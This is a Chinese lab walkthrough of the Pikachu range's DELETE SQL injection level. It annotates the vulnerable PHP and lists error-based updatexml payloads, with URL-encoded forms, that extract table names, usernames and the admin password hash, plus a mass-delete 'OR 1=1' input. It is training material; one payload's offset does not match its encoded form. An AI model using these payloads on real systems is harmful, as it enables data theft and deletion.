pikachu靶场通关笔记23 SQL注入06-delete注入(报错法)
目录
一、SQL注入
二、delete注入
三、源码分析
1、代码审计
2、渗透思路
五、渗透实战
1、渗透准备
2、获取数据库名database
3、获取表名table
4、获取列名column
5、获取字段
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对delete注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解delete注入的原理并进行渗透实践,本文为SQL注入06之delete注入关卡的渗透部分。
一、SQL注入
SQL注入是一种网络安全攻击手段,攻击者通过在Web应用程序的输入框或其他输入点嵌入恶意的SQL指令,这些代码会被应用程序直接拼接到正常的SQL查询中,导致数据库执行非预期的SQL语句,干扰正常的SQL查询流程。凭借这种方法,攻击者可以未经授权地访问、篡改或清除数据库中的信息,甚至有可能获取数据库的完全控制权,进而危及整个系统的安全性和可靠性。
二、delete注入
Delete 注入是 SQL 注入的一种,攻击者针对 SQL 语句中的DELETE操作,利用应用程序处理用户输入时的安全风险,构造恶意输入插入到DELETE语句中,改变原本的删除逻辑,从而数据库执行非预期的SQL语句,对数据的完整性和可用性造成严重威胁。Delete 注入产生的根本原因是应用程序对用户输入缺乏有效的验证和过滤,直接将用户输入拼接到DELETE语句中。
三、源码分析
1、代码审计
打开pikachu靶场的SQL注入-报错型关卡对应的源码sqli_del.php,具体如下所示。
很明显SQL语句没有对GET方法传入的参数id进行过滤,存在SQL注入风险,详细注释后的代码如下所示。
<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续显示提示信息
$html = '';// 检查 POST 请求中是否存在 'message' 键,并且该键对应的值不为空
if (array_key_exists("message", $_POST) && $_POST['message'] != null) {// 调用 escape 函数对用户输入的 'message' 进行转义处理,防止 SQL 注入$message = escape($link, $_POST['message']);// 构造一个 SQL 插入语句,将用户输入的消息内容和当前时间插入到 message 表中$query = "insert into message(content, time) values('$message', now())";// 调用 execute 函数执行构造好的 SQL 插入语句$result = execute($link, $query);// 检查执行插入操作后受影响的行数是否不等于 1// 如果不等于 1,说明插入操作可能出现异常if (mysqli_affected_rows($link) != 1) {// 将提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p>出现异常,提交失败!</p>";}
}// 原注释掉的代码是对传入的 'id' 进行了是否为数字的检查
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){// 未对传入的 'id' 进行任何处理,这可能导致 DELETE 注入安全风险
if (array_key_exists('id', $_GET)) {// 构造一个 SQL 删除语句,根据传入的 'id' 删除 message 表中的对应记录$query = "delete from message where id={$_GET['id']}";// 调用 execute 函数执行构造好的 SQL 删除语句$result = execute($link, $query);// 检查执行删除操作后受影响的行数是否为 1// 如果为 1,说明删除操作成功if (mysqli_affected_rows($link) == 1) {// 将用户重定向到 sqli_del.php 页面header("location:sqli_del.php");} else {// 如果删除操作失败,将错误提示信息拼接成 HTML 字符串,添加到 $html 中$html .= "<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";}
}
?>
这段 PHP 代码实现了两个主要功能,具体如下所示。
- 消息提交功能:当用户通过 POST 方法提交包含
message
字段的表单时,代码会对输入的消息内容进行转义处理,然后将消息内容和当前时间插入到message
表中。如果插入操作出现异常,会显示相应的错误提示信息。 - 消息删除功能:当用户通过 GET 方法传递
id
参数时,代码会根据该id
构造一个 SQL 删除语句,从message
表中删除对应的记录。如果删除操作成功,会将用户重定向到sqli_del.php
页面;如果删除失败,会显示错误提示信息。
不过代码存在 SQL 删除注入安全风险的主要原因是对通过 GET 方法传递的 id 参数未进行任何处理。代码直接将 $_GET['id'] 拼接到 DELETE 语句中,没有对其进行有效性验证和过滤。攻击者可以利用SQL注入安全风险,构造特殊的输入来改变 SQL 语句的逻辑,从而实现恶意删除操作。
2、渗透思路
源代码的SQL语句如下所示,由于对传入的id并无过滤转义等处理,导致存在注入。
delete from message where id={$_GET['id']}
攻击者可以构造特殊的输入,让 DELETE 语句删除多条记录而非仅指定的单条记录。例如,攻击者在 URL 中输入 ?id=1 OR 1=1#,实际执行的 SQL 语句如下所示。
delete from message where id=1 OR 1=1#;
五、渗透实战
1、渗透准备
打开靶场SQL注入第六关delete型注入,打开后是登录页面,如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_del.php
随手留言并填入“mooyuan”后点击提交,如下所示留言列表出现刚刚留言,如下所示。
burpsuite开启抓包,点击删除,在bp找到这个修改报文,具体信息如下所示,GET方法参数id进行注入点,这与源码分析一致,为方便渗透,我们使用bp进行渗透。
我们将报文发送到repeater模块,具体如下图所示。
2、获取数据库名database
and updatexml(0,concat(0x7e,database()),1)
在burpsuite中在id=78后拼接 and updatexml(1,concat(0x7e,database()),1))后点击提交,如下所示。
此时页面提示报错信息http 400 badrequest,这是因为本次注入为GET型注入,信息出现在url中需要对其进行编码,当不包含#号时选择仅特殊符号编码,否则要选择全部编码。以编码前为 and updatexml(0,concat(0x7e,database()),1)为例,这里的特殊字符为空格,编码为加号,注入语句完整编码后内容为+and+updatexml(0,concat(0x7e,database()),1)+。故而完整的GET部分注入语句应该为如下内容,主要区别是空格变为+ 。
GET /pikachu/vul/sqli/sqli_del.php?
id=78+and+updatexml(0,concat(0x7e,database()),1)+ HTTP/1.1
选中注入语句,右键convert selection然后选择URL-URL encode key characters,如下所示。
修改后再次点击send,注入成功获取到数据库名为pikachu。
综上,总结获取数据库的注入命令,具体如下所示。
查询pikachu数据库中名:
转换前: and updatexml(0,concat(0x7e,database()),1)
转换后:+and+updatexml(0,concat(0x7e,database()),1)
3、获取表名table
对pikchu数据库中表名进行爆破,注入命令如下所示。
查询pikachu数据库中所有表名(被截断):
转换前: or updatexml(1, concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31)),0)
转换后:+or+updatexml(1,+concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),1,31)),0)
渗透后获取到数据库pikachu表有4个以上的table表,但是第五个没有展示全,只有一个x字符,其他前四个分别为httpinfo, member,message, users,如下所示。
之所以没有展示全是因为update的报错信息最多展示32个字符,出去第一个字符是报错的波浪线以外,也就是说有效的字符只能显示31个。使用substr来查询后续字符,具体注入命令如下所示 。
查询pikachu数据库中所有表名(第32位起,查询31个字符):
转换前: or updatexml(1, concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31)),0)
转换后:+or+updatexml(1,+concat(0x7e,substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'pikachu'),32,31)),0)
点击发送后成功查到32位起的31个字符,与上一个图片对比可知最后一个table表为xssblind。
4、获取列名column
对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。
查看users表中的所有字段(未被截断,说明31个字符足够):or updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu')),0) #
转码后:+or+updatexml(1,+concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'users'+and+table_schema%3d'pikachu')),0)+%23
渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。
5、获取字段
对pikachu数据库中users表的username列进行爆破,命令如下所示。
查看username的记录:or updatexml(1,concat(0x7e,(select group_concat(username) from users)),1)
转码后:
+or+updatexml(1,concat(0x7e,(select+group_concat(username)+from+users)),1)
渗透后获取到数据库users表的username字段如下所示,渗透成功。
接下来获取admin账户的密码,注入命令如下所示但是没有显示完全,如下所示。
查看第一个密码password的记录(被截断):or updatexml(1, concat(0x7e,substr((select password from users limit 0,1),1,31)),0)
编码后:
+or+updatexml(1,+concat(0x7e,substr((select+password+from+users+limit+0,1),1,31)),0)
我们通过substr函数获取admin账户的密码的第32位开始的31个字符串,注入命令如下所示显示了一个字符e,拼接后即可获取到admin的密码,e10adc3949ba59abbe56e057f20f883e,如下所示。
查看第一个密码的password的记录(32位起查询31个字符):or updatexml(1, concat(0x7e,substr((select password from users limit 0,1),32,31)),0)
编码后:
+or+updatexml(1,+concat(0x7e,substr((select+password+from+users+limit+0,1),32,31)),0)